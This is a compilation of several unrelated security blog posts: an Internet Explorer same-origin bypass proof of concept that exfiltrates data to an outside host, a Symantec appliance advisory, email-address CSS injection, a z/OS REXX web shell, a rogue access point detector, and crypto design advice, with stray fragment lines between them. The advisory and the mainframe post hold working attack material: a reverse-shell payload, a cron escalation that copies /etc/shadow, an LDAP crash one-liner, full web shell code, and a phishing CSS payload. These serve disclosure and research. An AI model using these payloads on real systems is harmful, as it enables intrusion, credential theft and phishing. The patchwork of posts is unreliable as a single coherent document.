
Demo Application

A simple demo web application was built as a Proof-of-Concept. The application is served from the Local Intranet Zone domain www.corporate.internal as shown in the screenshot below:

Image may be NSFW.
Clik here to view.

Monet HR is a web application used for HR purposes, it allows employees to view and manage their personal data such as personal and employment information, compensation, holidays, etc. 

Image may be NSFW.
Clik here to view.

The demo application exposes a single Servlet to authenticated users:

http://www.corporate.internal/monet/logged/userHandler

The servlet allows the user to perform two actions:

• getCSRF (retrieves the CSRF token associated with user’s session)

Image may be NSFW.
Clik here to view.

• getInfos (retrieves user’s information, it requires a CSRF token)

Image may be NSFW.
Clik here to view.

Pre-Requisites:

1. The target web application is served from the Local Intranet Zone.

2. Protected mode is turned OFF for Local Intranet Zone (default).

3. The victim is authenticated on the target web application.

Attack PoC

1. The victim receives an email with a web page attached.

2. The victim opens the web page with Internet Explorer.

3. The victim clicks on “Allow Blocked Content” button.

4. (only for demo purposes) The victim clicks on “Steal Infos”, this triggers the malicious script.

Image may be NSFW.
Clik here to view. 

The page served from the local file disk is rendered in the My Computer Zone, and can therefore bypass the Same Origin Policy and Cross Origin Resource Sharing. It can send requests to any application in the Local Intranet Zone, and cookies will be included in the request.

1. When clicking on the button Steal Infos the JavaScript first issues an XHR to http://corporate.internal/monet/logged/userHandler to retrieve the CSRF token. This violates CORS (the script sends a cross-domain POST request with content type application/json but no preflight OPTIONS request is performed). It also violates SOP as the script can read the response coming back from a different origin.Image may be NSFW.
   Clik here to view.

2. Having retrieved the CSRF token the JavaScript issues another request to the demo application, requesting the user’s information (a CSRF token is required in the JSON object). Again the JavaScript violates CORS and SOP, as it sends a POST request (with application/json content type) and it can read the user’s personal information backImage may be NSFW.
   Clik here to view.
3. The malicious page then exfiltrates the stolen data to a third party website (lrfpoc.herokuapp.com) using a POST request with content type application/json (thus still in violation Cross-Origin Resource Sharing) and can read the response to that request as well (still violating SOP). Image may be NSFW.
   Clik here to view.

The above explanation can be referenced in the screenshot below where request and responses are printed in the DOM.

Image may be NSFW.
Clik here to view.

 The attacker can then view the exfiltrated data on a domain outside of the corporate network:

Image may be NSFW.
Clik here to view.

Mitigation:

The attack described above may be considered a variation of Cross-Site Request Forgery. However, server-side CRSF mitigations are not applicable. The demo application employed in the PoC required the submission of an anti-CSRF token, but since the malicious JavaScript can bypass SOP and CORS, it can read the CSRF token and use it in the request.

As this is a client-side issue, the only effective mitigation is to ensure that Internet Explorer enforces SOP and CORS by enabling Protected Mode for the Local Intranet Zone. Since Internet Explorer 7.0 on Windows Vista, this can be achieved through Group Policy Objects (GPO).

Image may be NSFW.
Clik here to view.

Source: http://gpsearch.azurewebsites.net/#911

/shared_prefs

/databases

/files

/sdcard/Android/data/com.airwatch.contentlocker/

At GDS we are in the particularly advantageous position of working with a wide variety of products, spending time understanding their security and often uncovering their flaws. Given this experience, we decided to share some of our thoughts on the cryptographic aspects of building modern software.

It should come as no surprise to anyone in the field of security engineering that working with crypto is a perilous business, and even highly experienced engineers can get it wrong sometimes. Sophisticated attacks come along once in awhile, partially breaking OpenSSL and other well-respected security libraries. However, for those who have spent enough time in the trenches of cryptographic security, it is clear that the vast majority of crypto issues don’t stem from the underlying vulnerability of a well-respected library. Instead, they by far stem from incorrect design and implementation-specific issues of well-built crypto components. In this blog post we try to expand on why design and implementation goes wrong and give advice on making things go better.

Modern, agile software development processes generally merge some of the stages of requirements analysis, architecture, design, implementation and testing. However, in the case of cryptography it is dangerous to conflate these distinct stages. Cryptography must be considered at all these stages, and because of its difficulty and importance for securing important data and decisions, it must be given higher priority than most other elements. As such, it is typical for a software house to discuss crypto-related decisions for longer, and entrust cryptographic aspects of the system to be implemented by one of the most senior engineers. Both of these help, as do checklists such as those implemented by testssl.sh [1] or guidance such as that provided on Martin Fowler’s blog [2].

However, no checklists or easy guides exist for hand-rolled cryptographic constructs. When it comes to designing systems that use cryptography to achieve an end goal, one of the fundamental mistakes made by designers is to reinvent the wheel in the crypto design space. This is not necessarily because anybody needs the burden of designing something new. Instead it’s because it is hard to know what class of problems can be solved with a certain cryptographic construct. It also doesn’t help that cryptographic terminology can be very confusing. For example, Pseudo Random Functions (PRFs) are always implemented as a deterministic function that neither uses, nor exhibits, any random behaviour [3]. For this reason, GDS recommends bringing in experts, either internal or external, to early crypto design discussions. An expert can not only help mitigate the risk of misusing cryptography, but may also offer ways of reusing existing crypto constructs, reducing the overall cost and time budget of the project.

When it comes to writing code, those who are entrusted to implement the agreed-upon design often find themselves in a tight spot. They have to battle with two separate issues: what crypto library to use for a particular crypto construct and in what way should it be used.

At GDS, we advise our clients to use very few, battle-hardened crypto libraries with strongly restricted configuration sets to meet a large set of generic requirements. Unfortunately, cryptographic agility [4], as implemented by OpenSSL, is often at odds with restricted configurations and hardening. Although OpenSSL is the default go-to crypto library of choice, politics such as government-mandated cryptographic primitives (CAMELLIA from Japan, ARIA from South Korea, GOST from Russia, etc) and misguided optimizations (such as 27,000 lines of Perl generating assembly in OpenSSL) also makes it the elephant in the room that no one really wants to question. However, there is very little else to opt for. The obvious other choice is libnacl [5], written by a team led by Dan Bernstein that tries to significantly limit the number of implemented crypto constructs and hence configurations, reducing the cognitive load and simplifying the job of the person charged with implementation. Although libnacl is a great library, its restricted functionality is often an issue — but it excels at what it does implement. This is true for other specialized libraries as well, such as scrypt [6] that can be used for storing salted and hashed passwords or to derive keys from passwords. The library libsodium [7] builds on libnacl, attempting to address some of its portability and usability concerns. However, it is relatively new and mostly written by a single developer without the crypto pedigree of the nacl team. We therefore caution against using it in production environments. It’s not easy when it comes to working in code with cryptography, which leads us to our next topic.

The second biggest headache that developers face at the implementation stage is the actual code around the use of the chosen crypto library and its constructs. It is not unheard of to see developers surprised to see their sensitive memory-cleaning code being optimised away by smart compilers [8]. As such, GDS recommends using high quality standards around crypto code. In all instances, the actual standards enforced are a function of language, developer familiarity, and a number of business factors such as coding language and culture, however, [9] and [10] are good starting points for C/C++. For example, when coding in C11, using secure version of functions that typically end with “_s” are good practice. The C11 standard requires that memset_s never to be optimised away. Given the number of pitfalls such as these, internal code reviews and a final, third-party code review by an expert is important and highly recommended. Whether the third party is internal or external to the organisation, an expert will pick up problems that those less well versed around the use of crypto may not.

Finally, before software is shipped to customers, an overall, system level review of all elements of the cryptographic system is in order. As the above examples show, it is not easy to get crypto right even if the bits and pieces fit well together. Unfortunately, holistic security of a product depends on intricate interactions of the cryptographic subsystem with the rest of the application, its users, the cultural and social environments it will get deployed in, and the business’ goals. The points where these meet are an ample source of confusion and error. As such, a final review is always recommended.

At GDS, we get to see a lot of crypto code, often only at the final stages of development or beyond, when it’s already in active use by end users. Fixing issues at this stage is costly to the business and frustrating to the developers. Sometimes, when looking at the issues, one wonders how much time could have been saved by using the correct crypto constructs from the right libraries, using good coding guidelines from the get go — no wasteful reinvention of the wheel and no costly retrofitting needed. When it comes to crypto, experience is key. Above, we have tried to put into writing some of the key recommendations that experienced crypto engineers give to solve real-world problems. Naturally, we have plenty more, but we always try to tailor them to needs of the application at hand. In a series of blog posts to follow we plan to go more in-depth into some of the crypto issues we highlighted above, and more.

[1] https://testssl.sh/
[2] http://martinfowler.com/articles/web-security-basics.html#HashAndSaltYourUsersPasswords
[3] https://crypto.stanford.edu/pbc/notes/crypto/prf.html
[4] https://www.imperialviolet.org/2016/05/16/agility.html
[5] https://nacl.cr.yp.to/install.html
[6] http://www.tarsnap.com/scrypt.html
[7] https://download.libsodium.org/doc/
[8] https://www.securecoding.cert.org/confluence/display/cplusplus/MSC06-CPP.+Be+aware+of+compiler+optimization+when+dealing+with+sensitive+data
[9] http://www.cert.org/secure-coding/publications/books/secure-coding-c-c-second-edition.cfm
[10] https://www.securecoding.cert.org/confluence/display/seccode/SEI+CERT+Coding+Standards

During a security assessment project in 2015 GDS encountered a fully patched Symantec Encryption Management Server appliance. This product provides secure messaging both between users of the organization and with external users. Each server is managed via an administrative web interface. During the project, and follow on research, GDS discovered several issues that were reported to Symantec and have subsequently been addressed in later releases of the software. Now that Symantec customers, among them some of our clients, have had ample time to apply the relevant patches we thought we’d share details of these vulnerabilities.

OS Command Execution

The administration web interface includes the facility to search the log files. When performing a search, it was possible, using a specially crafted search term, to execute OS level commands on the appliance. The search functionality dynamically built a command string, with untrusted user input, that was then executed by the operating system command shell. Insufficient validation of the supplied parameters exposed arbitrary command execution and provided an attacker with privileges or capabilities previously unavailable.

This issue required a user account with low privilege access to the administrative interface. The lowest privilege user role with this level of access is Reporter.

The following text, entered into the search box, was used to start an interactive, reverse TCP connection, shell.

|` /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1`

The resulting interactive shell is executed as user tomcat.

CVE-2015-8151 was assigned to cover the above issue.

Local Privilege Escalation

The tomcat user had write access to the file /etc/cron.daily/tomcat.cron. The contents of this file were executed in the context of the root super-user account. Consequently, given command execution (see above), arbitrary commands could be scheduled for execution as root.

$ ls -al /etc/cron.daily/tomcat.cron

-rwxrwxr-x 1 root tomcat 88 Jul  6 03:58 /etc/cron.daily/tomcat.cron

As the tomcat user, GDS were able to append additional content to the cron job. For example, with the command below:

$ echo ‘cat /etc/shadow >/tmp/shadow’ >> /etc/cron.daily/tomcat.cron

This cron job was executed daily and ran with root privileges.

$ ls -l /tmp/shadow

-rw-r—r— 1 root root 825 Jul  6 04:02 /tmp/shadow

$ cat /tmp/shadow

root:!!:16612:0:99999:7:::
bin:*:16612:0:99999:7:::
daemon:*:16612:0:99999:7:::
…

CVE-2015-8150 was assigned to cover the above issue.

Heap Based Memory Corruption

GDS also discovered a repeatable crash in the LDAP service running on the appliance. This could be reproduced using the following simple python script.

python -c “import socket; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((‘10.240.28.199’, 636)); s.send(‘803a01030100030000002e00000040404141414142424242434343434444313145454545464646464747474731314848494949494a4a4a4a4b4b4b4b’.decode(‘hex’))”

This will trigger a SIGSEGV signal and the service will exit. LDAP and LDAPS will not be available until the service has been automatically restarted.

CVE-2015-8149 was assigned to cover the above issue.

Vendor Update

Symantec have released fixes for the issues described above in SEMS 3.3.2 MP12. For more information from the vendor see https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20160218_00

On a recent project, we noticed that an application was accepting email addresses in an unsafe format. In the case of this application, it was sending the email address in an email to a user’s account, without escaping.

It’s not that the application wasn’t validating email addresses. It was, in fact, running all email address through the standard Java validator, javax.mail.internet.InternetAddress.validate().

However, legal email addresses can have some amazingly complex things in them.

The Wikipedia page for email addresses has examples of legitimate, if crazy, email addresses.

Now, to put dangerous content into email addresses, there are two general methods useful for attackers: comments and quoted portions. The Java library does not accept comments in email addresses, but it does accept quoted portions.

This is an example of a legal email using quoting:

 "john.smith"@example.org

as is

 "john.smith<script>alert(1);<script>"@example.org

Web pen testers will recognize the latter as the canonical test for an XSS attack.

In this case, the email address was being put into an outbound email. This normally is not an XSS vector. Email is typically read in a dedicated mail application, or in a webapp. Mail applications often don’t have JavaScript engines, and Webmail applications as a rule will refuse to render any JavaScript. (Sometimes attackers will find a way around this, but it’s very hard to do, and if they succeed it is a much bigger problem than any I describe here.)

Modern mail readers still have significant CSS capabilities, so the ability to insert arbitrary HTML into them means the ability to change the message visible to the user arbitrarily.  This can lead to very successful phishing attacks, since an attacker can cause malicious messages to originate from the legitimate and expected service.

My primary mail reader target was OSX’s Mail.app, with Thunderbird as a secondary.

The application we were looking at had a strong limit of 50 characters for an email address, and the domain had to have at least two labels, of which the second had to be at least 2 characters. (This is not part of the RFC, nor does the Java library require it.) Given the quotes and the domain, the longest message that could be inserted was 43 characters:

    "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"@x.xx

It was necessary, of course, to start a style tag, as well as to close it, so that left us with this much room:

    "<style>XXXXXXXXXXXXXXXXXXXXXXXXXXXX</style>"@x.xx

This still allowed room for a payload to be inserted thanks to URL shorteners and use of the @import directive.

    "<style>@import 'http://xxxxxxxxxxx'</style>"@x.xx

The “http://” is required in the mail context, as are the quotes.

Can a normal person fit a URL in 11 characters?  Domains like “ant.nu” are available, but there is no need to splurge on a short domain.  The best link shorteners can give you a URL in 9 characters, so this is our hostile email addresses, with two characters to spare

    "<style>@import 'http://ly.my/pva'</style>"@x.xx

Now, with arbitrary space, we can put in an appropriate payload that overwrites the message:

body {
  visibility: hidden;
}
body:after {
  content:'We have detected unauthorized access to your account. Please visit http://example.account-recovery.net/ to restore access, or call 555-1212.';
  visibility: visible;
  display: block;
  position: absolute;
  padding: 5px;
  top: 2px;
}

And the message in Apple Mail.app looks like this:

Image may be NSFW.
Clik here to view.

In Thunderbird, if you accept the warning to load remote content, you get this:

Image may be NSFW.
Clik here to view.

LESSONS

1. Email address validation is not the same as email address sanitization.
2. More mail readers should be suspicious of external links, and offer an option like Thunderbird does to delay loading of external content.

Recently I was conducting a mainframe assessment (z/OS), and the application account I had access to was able to FTP directly to the system. There were also multiple web servers listening on the host, so I used web shell planting tactics to gain remote command execution — albeit with an uncommon scripting language (REXX).

Typically when you FTP to an IBM mainframe you will find yourself in the Multiple Virtual Storage (MVS) file system. This is indicated by “Remote system type is MVS” in the FTP response message.

It’s possible to change to a Unix-like file system, Hierarchical File System (HFS), to make it easier to understand (at least for me!). This can be accomplished by executing a simple change directory command using FTP.

Change to HFS
ftp> cd /
250 HFS directory /s the current working directory

After identifying this access, I trawled through the more familiar file system and came across a CGI web root that permitted the execution of REXX scripts. REXX is an interpreted scripting language developed by IBM that dates back to the beginning of the 80s.

After creating a simple REXX web shell, I was able to upload the shell to the web root and chmod it with the appropriate permissions.

REXX Web Shell
/* rexx */
'cgiutils -status 200 -ct text/x-ssi-html'
address syscall 'pipe p.'
'cgiparse -f > /dev/fd' || p.2
address syscall 'close' p.2
address mvs 'execio 1 diskr' p.1 '(stem s.'
interpret s.1

do i=1 to 100 until s.1=''
   parse var s.1 parm.i.1 '=' parm.i.2 '&' s.1
   if parm.i.1 = 'FORM_cmd' then do
     cmd = parm.i.2
     cmd = STRIP(cmd, ,"'")
   end
   end

say 'Running as ' || USERID()
say 'Executing the following command... "' || cmd || '"'
address syscall 'pipe p.'
cmd || ' >/dev/fd'||p.2
address syscall 'close' p.2
address mvs 'execio * diskr' p.1 '(stem s.'
do i=1 to s.0
   say s.i
end
return

Finally, by sending a command to be executed in the cmd HTTP request parameter, I was able to gain command execution on the system as the WWWPUB user. Although there was FTP access, it is much easier to enumerate and attack the system given interactive execution of commands and this also provided different access permissions.

The script can be executed like so:
$ curl http://host/cgi/foo/cmd.rexx --data-urlencode 'cmd=id'

Here we can see an example of the ps -ef command being executed by the WWWPUB user in the CGI directory.

Image may be NSFW.
Clik here to view.

The Need for Open Source Rogue AP Protection

With the exception of cellular attacks that make use of SDR, rogue access point attacks are the most effective wireless attacks in practice today. Despite the fact that karma attacks have existed for nearly a decade, many devices still probe actively for their preferred networks, rendering them vulnerable to this form of exploitation [1]. Evil Twin attacks remain an issue for enterprise and smaller scale commercial networks alike.

Although effective solutions for detecting and responding to rogue access point attacks exist, they typically fall into a price bracket that is accessible only to enterprise customers [2][3][4]. This means that smaller scale commercial and retail networks, or even public sector networks operating with limited resources, are unlikely to be able to include rogue access point detection as part of their budgets. This lack of low-budget rogue AP protection has a severe impact on the security of the wireless landscape as a whole. Although attackers can and do use rogue access point attacks against enterprise networks, this is usually done with the intent of gaining credentials to pivot further into the target’s infrastructure. On the other hand, attackers who are focused on harvesting sensitive information such as credit card numbers are unlikely to target heavily secured and regularly audited enterprise networks. Instead, they are much more likely to employ evil twin attacks against softer targets such as local retailers and coffee shops, or make use of karma attacks in a crowded subway car or freeway. What this means is that the environments most likely to be targeted by a malicious actor are also the least protected.

In response to this problem, I developed an open source tool called sentrygun that can be run on inexpensive hardware in parallel with existing network setups. This blog post will cover the development of sentrygun, from the algorithms used to detect rogue APs to the design patterns used to leverage those algorithms by network administrators. Finally, it will document the successes and challenges faced when deploying sentrygun to protect one of the most hostile network environments in the world: BSides Las Vegas.

Building a Rogue AP Protection Platform Pt 1 – Algorithm Development

The first task in creating sentrygun was to develop a set of reliable, effective, and easily implemented algorithms for detecting evil twin and karma attacks. A lot of prior work has already been done in this area, which gave me a pretty big head start. Unfortunately, most of the more advanced methods of detecting rogue access point attacks require direct coordination with the wireless networking hardware [5]. Most networking hardware is highly proprietary, making this kind of cooperation next to impossible.

This means that the algorithms used by sentrygun would have to operate in complete independence from the network being protected. Three algorithms were identified that met this requirement: evil twin detection using whitelisting, evil twin detection through statistical analysis of signal strength, and karma detection through analysis of probe request/response patterns.

Detecting evil twin attacks using whitelisting is a classic approach outlined in multiple sources, most notably in a 2006 SANS publication by Larry Pesce [6]. In this strategy, a whitelist is created containing the ESSID and BSSID of every wireless access point on the network being protected. A packet sniffer then captures probe response packets from nearby access points. If a probe response is captured that has an ESSID from the whitelist, but a BSSID not in the whitelist, it follows that there is an evil twin attack occurring nearby.

Image may be NSFW.
Clik here to view.whitelist based algorithm for detecting evil twins

The problem with this approach is that it does not account for scenarios in which the attacker sets the BSSID of the rogue access point to a BSSID used by a legitimate access point on the network. One way of addressing this issue is by adopting a different strategy entirely: attempt to identify evil twin attacks by paying attention to signal strength. Suppose we were to place a packet sniffer a fixed distance away from a legitimate access point on our network. Wireless access points are typically stationary objects, so the signal strength from the access point to the packet sniffer should not change drastically over a short period of time. Now suppose an attacker spawned an evil twin access point somewhere nearby. Packets sniffed from the evil twin should have noticeably different TX values than packets sniffed from the legitimate access point.

This means that we can augment our previous approach by establishing a baseline TX range for packets sent from each BSSID in the whitelist. Any packets received that appear to come from an access point in the whitelist, but that have a TX value that falls outside of the baseline range for that access point, are deemed to have been sent by an evil twin. This combined approach of whitelisting and signal strength analysis provides a  more effective solution to evil twin detection.

Image may be NSFW.
Clik here to view.whitelist algorithm augmented with signal strength analysis

Spotting karma attacks turns out to be much simpler. Karma attacks work by configuring a rogue access point to respond to all probe requests it receives [7]. If the rogue access point receives a legitimate probe request for the ESSID “ms08067”, it will respond with a probe response for ESSID “ms08067”. Similarly, if it receives a probe request for the ESSID “\x90\x90\x90”, it will reply with a probe response for ESSID “\x90\x90\x90”. The rogue access point will send all of these responses using the same BSSID [1]. Since the targeted wireless clients need a consistent BSSID in order to remain connected to the rogue access point, cycling BSSIDs between probe responses is not an option.

Image may be NSFW.
Clik here to view.algorithm to detect karma attacks

This means that karma attacks can always be identified by the one-to-many relationship that they create between a single BSSID that maps to multiple ESSIDs. Karma attacks can be detected by flagging any BSSID that sends probe responses for multiple ESSIDs. This algorithm can be further improved by periodically crafting and broadcasting probe requests for random ESSIDs using a parallel process. Doing so allows the algorithm to detect karma attacks even when no wireless clients are actively probing nearby.

Sentrygun uses all three of the algorithms described to detect evil twin and karma attacks. Additional methods for detecting evil twin and karma attacks are currently being implemented, along with improvements to the algorithms already in use.

Building a Rogue AP Protection Platform Pt 2 – System Development

Using the algorithms described in the previous section to build a functional wireless IDS system poses its own set of challenges. Such a system would have to be capable of protecting a wireless network of arbitrary size, and would have to scale with future expansions of the network. It would also have to give sole network operators a means of tracking and managing attacks across the entire network from a centralized location. The system would have to require minimal setup and fine tuning in order to work. Most importantly, the system would have to meet these requirements while still providing a reliable means of identifying, locating, and responding to wireless attacks.

Image may be NSFW.
Clik here to view.Figure 1

To meet these requirements, sentrygun was developed as an array of sensors arranged in a grid connected to a centralized command and control server through ssh tunnels (figure 1). All sensor and server systems are security hardened Linux installations. Each sensor runs a packet sniffing Python script that analyzes wireless traffic using the algorithms described in the previous section. When a sensor detects a rogue access point attack, an alert is pushed to the C&C server. The C&C server stores the alert details in a time based cache, then broadcasts the alert to one or more web clients. Each web client displays a list of all alerts that have recently been sent by the sensors.

Image may be NSFW.
Clik here to view.Figure 2

As shown in figure 2, alerts can be expanded to show a list of all devices currently detecting the wireless attack. Network administrators can respond by launching a flooding or deauth attack that is carried out by all sensor devices simultaneously. Additionally, network administrators can attempt to locate the rogue access point by sending security personnel to the sensor detecting the highest TX power from the attack. Sensor devices are sorted by TX and can be labeled to facilitate this functionality, as shown in figure 2. Finally, network administrators can choose to dismiss the alert. Doing so causes the C&C server to remove the alert from the time based cache and broadcast a message to all web and sensor clients. This message causes all web clients to remove the alert from the list, and causes all sensors to terminate any existing deauth or flooding attacks against the rogue access point.

This architecture provides sentrygun with the means to detect, respond to, and locate rogue access point attacks in real-time. Additionally, since the most resource intensive work is done on the C&C server, the sensor units can be built using inexpensive platforms such as the Raspberry Pi. Finally, the web interface provides an intuitive cross platform interface for controlling sentrygun and analyzing wireless attack data.

Field Test: BSides Las Vegas

Ensuring that sentrygun was able to function effectively outside of the lab environment could only be accomplished through intense field testing. Fortunately, the BSides Las Vegas NOC team generously provided me with a live environment in which to conduct such a test. Simply put: they put me in charge of wireless security for the conference. This meant that I was tasked with ensuring the integrity of attendees’ data during a week in which Vegas is home to some of the most notoriously hostile networks in the world. It seemed like an excellent opportunity to test  sentrygun.

I arrived in Las Vegas on Saturday afternoon, July 30th, three days before the start of the BSides conference. After meeting up with the rest of the BSides staff, we spent the evening unpacking boxes and making an emergency run to the local electronics depot to purchase supplies for the network. The NOC team was scheduled to build the conference network on Monday, which gave me all of Sunday to assemble and test each of the sensor units used in the sentrygun implementation. Due to the number of sensors needed to cover the conference floorspace, doing this in such a short timeframe seemed daunting.

Image may be NSFW.
Clik here to view.Tuscany Suites Sweatshop. BSides Goons from left to right: Chester Bishop, Ben, and Justin Whitehead                 

Image may be NSFW.
Clik here to view.These look totally harmless

Fortunately, a few of the awesome folks on the BSides security team came to the rescue to help me set up the sensors. We converted a hotel room into an electronics workshop, sat down with a couple of cases of Red Bull, and finished building the sentrygun sensor units within a few hours.

Image may be NSFW.
Clik here to view.At the BSides NOC, we take cable management seriously

On Monday morning I joined the NOC team in setting up the BSides network itself. This involved running a few thousand feet of Cat5 cable, as well as configuring three wireless networks across multiple channels. Once the network was set up, the sentrygun sensors were laid out in a grid across the conference floor using copious amounts of gaff tape and Velcro.

Image may be NSFW.
Clik here to view.Don’t mind the things on the walls….

Image may be NSFW.
Clik here to view.

On Tuesday morning, the conference opened its doors and the network was put to use. Within half an hour, a panicked attendee had already summoned security after purportedly finding a rogue access point taped to the wall. The “rogue access point” turned out to be one of our sentrygun sensor units, much to the amusement of the BSides staff. We had no similar incidents throughout the rest of the day.

No wireless threats were detected until the early evening, at which point the 802.11 spectrum seemed to come alive with hostility. At around 5pm, sentrygun detected a karma attack emanating from one of the far corners of the main conference space. Security was dispatched to investigate, and after noticeably increasing the physical security presence in the area the attack stopped. By the end of the conference on Tuesday night, several similar attacks were identified and dealt with accordingly.

The field test demonstrated that sentrygun is capable of identifying wireless threats in a live network environment. It also led to several important findings that will prove critical in sentrygun’s transition from a proof of concept to a mature wireless defense platform. One such finding is that within the context of a crowded conference venue, narrowing the location of a rogue access point down to a few meters is not always enough. There were multiple incidents in which an evil twin or Karma attack was detected and localized to an area containing at least two dozen people with backpacks or laptops. In these circumstances, noticeably increasing security presence was usually enough to stop the attack. However, the ability to consistently identify the exact source or perpetrator of the attack would be preferable.

Closing Thoughts

Overall, the sentrygun project has been a success. It has demonstrated that it is possible to provide rogue access point detection using relatively simple algorithms and inexpensive equipment. It has demonstrated that such a system can be designed and built over the course of a few weeks. It has also lead to the development or verification of three algorithms used for detecting evil twin and karma attacks. Most importantly, it has opened the doors for future research in rogue AP identification and mitigation.

There are aspects of sentrygun’s design that require further development. While sentrygun’s algorithm for detecting evil twins based on variance in TX values makes for an effective proof of concept, stronger statistical models that account for externalities such as environmental interference would be preferable. Similarly, it would be interesting to investigate the use of machine learning to distinguish between rogue and legitimate access points. Finally, a more effective technique for locating rogue access points is needed if the system is to be equally effective in highly populated environments.

Sentrygun is an open source project. If you’d like to contribute, particularly in the areas previously mentioned, please contact labs@gdssecurity.com or make a pull request to the appropriate Github repo from the list below: 

• https://github.com/GDSSecurity/sentrygun

• https://github.com/GDSSecurity/sentrygun-server

Additionally, be sure to check out my DEFCON talk on rogue access point detection. The PowerPoint slides are can be found here, and video footage should be on YouTube within the next few weeks.

References

[1] https://www.sensepost.com/blog/2015/improvements-in-rogue-ap-attacks-mana-1-2/
[2] http://ciscoprice.com/gpl/AIR%200
[3] http://www.arubanetworks.com/assets/wsca/WSCA_PriceList.xls
[4] https://www.amazon.com/Fluke-Networks-AM-A1150-AirMagnet/dp/B002YHJMMY?ie=UTF8&*Version*=1&*entries*=0
[5] http://www.cisco.com/c/en/us/support/docs/wireless/4400-series-wireless-lan-controllers/112045-handling-rogue-cuwn-00.html
[6] https://www.giac.org/paper/gawn/7/discovering-rogue-wireless-access-points-kismet-disposable-hardware/107273
[7] https://www.trailofbits.com/resources/attacking_automatic_network_selection_paper.pdf
[8] http://www.arubanetworks.com/assets/ds/AB_AW_RAPIDS.pdf
[9] http://www.cisco.com/c/en/us/products/wireless/buyers-guide.html
[10] http://www.arubanetworks.com/techdocs/InstantMobile/Advanced/Content/Instant%20User%20Guide%20-%20volumes/Rogue_AP_Detection_and_C.htm
[11] http://www.arubanetworks.com/techdocs/ArubaOS_63_Web_Help/Content/ArubaFrameStyles/New_WIP/Rogue_AP_Detection.htm
[12] http://www.arubanetworks.com/assets/contract/March2015_PriceList.xls

Although it is oft-repeated that implementing cryptographic algorithms by non-professionals is a bad idea, we would like to give some concrete examples of how things can go wrong, and show some of the ways these pitfalls have been avoided by some of the well-known cryptographic libraries. Hopefully, these examples will serve as danger signs to those who consider implementing cryptographic algorithms from scratch based on potentially imprecise specifications.

It’s often overlooked that every programming language is executed over an abstract machine. The abstract machine that C works over is surprisingly complicated and has some unexpected behaviours even to experienced developers. However, one does not need to go to the level of C to find unexpected behaviour. Even modern assembly language is running over an abstract machine. This can easily be demonstrated by running an executable that accesses the same data item, say a lookup table, repeatedly. Parts of the lookup table will end up in some of the L1/L2/L3 cache of the CPU and the time it takes to execute parts of program that access the table might radically decrease as time goes on [1]. Unfortunately, when things take different time to execute depending on secret data, such as the key or the correct authentication code, there is a potential for attack. Similarly, branching behaviour can also affect timing even if the code under the branches only deals with registers and takes the same number of micro ops. Modern CPUs have complex branch prediction logic that favours past branch outcomes. This can significantly affect timing and can lead to practical attacks [2]. However, it’s not only execution time that abstract machines influence. The C standard allows compilers to perform optimizations such as removing expressions whose value is not used and that produce no needed side-effects (C11 standard §5.1.2.3 paragraph 4). As such if one attempts, using a modern C compiler, to remove sensitive data by naively zeroing the memory region before freeing it, the generated code will often not contain the zero writes. Such subtleties surprise many programmers but are well-known to those who regularly implement cryptographic algorithms (many of whom will have learnt from their own, or others, previous mistakes). Countermeasures against these issues are not easy and sometimes require difficult trade-offs. It’s relatively easy to avoid using lookup tables for S-boxes, but removing branches that can leak sensitive data requires the careful consideration of an expert.

A software developer is often required to be an interpreter of the intention and decisions of the software designers and the broader context (social, cultural, technical, etc.) in which those decisions were made. What this means in practice is that the developer is often left with many choices when it comes to implementation. In the case of cryptography, some things may only have been decided in what a cryptographer would consider a very rough specification, such as: use HMAC-SHA-2 and AES. However, that leaves many questions unanswered. Should different keys be used for each? What block cipher mode should be used for AES? How should the Message authentication Code (MAC) and the ciphertext be combined? How should the common pitfalls associated with both encrypt-then-MAC and MAC-then-encrypt be avoided? When using a standard off-the-shelf library’s high-level primitives, such questions are usually already answered, at least when defaults are not overridden,  by the authors of the library. For example, NaCl’s secretbox [3] uses Authenticated Encryption with Associated Data (AEAD) with Salsa20 as the encryption provider and Poly1305 as the MAC provider in a well-combined manner. These are strong, fast, well-chosen (if not universally recognised) algorithms and implementations that work well together and non-coincidentally avoid all the pitfalls mentioned above. Asking a developer not proficient in cryptography to put such a system together is inherently risky.

Another issue with implementing cryptographic systems is that some properties of these systems are rather fragile. A prime example is that of AES-CBC which uses padding to extend the length of the message to be a multiple of the block size of AES. If the developer decides to return a different error code when the padding is malformed rather than when it is correct, but the decoded plaintext doesn’t match the MAC, the plaintext can be decoded. At GDS, we have not only seen such issues in deployed systems but have also published a tool to demonstrate them [4]. Such pitfalls are not unique to symmetric cryptographic primitives. It is not unheard of to see developers being surprised that RSA signing and encryption operations both require secure random numbers. If one reads through the RSA page of Wikipedia [5] for example, there is nothing random about the mathematical operation. However, if implemented purely, without randomness, both uses of RSA have some trivially unsuitable properties. For example, if a number between 0 and 65535 has been encrypted, one only needs to perform the RSA encryption operation 65536 times using the public key to know for certain what number hasbeen “encrypted”. In case the number is some form of pre-commitment, such as how much stock one is willing to buy, the effects can be devastating. All library implementations of RSA encryption avoid this pitfall by using the proper RSAES-OAEP/PKCS1-v2.0 encryption schemes.

Finally, the issue with hand-rolling cryptographic systems is that if and when they get broken, it is very hard to replace them without risking the ecosystem that the product created, paying a very high price, or both. For example, A5/1 used for GSM encryption has long been known to be broken [6], yet replacing it has been almost impossible for over a decade thanks to the millions of handsets still in operation from decades ago. This has left billions of phones susceptible to a wide range of attacks both from governments and private enthusiasts. As the Internet of Things (IoT) is gathering speed by the day and commodity devices such as TVs and kettles start being connected to the Internet, it is crucial to make sure that these systems have good security from the get go and can be securely, remotely updated with full user consent if need be. Unfortunately, not everything can be updated remotely, such as the MIFARE Classic cards, marketed as Oyster transportation cards in London. There, a cipher with an extremely short, 48 bit key was deployed to “secure” digital wallets. Upgrading thousands of entry points and millions of Oyster Cards to one capable of 128 bit AES encryption was probably not the cheapest of endeavours.

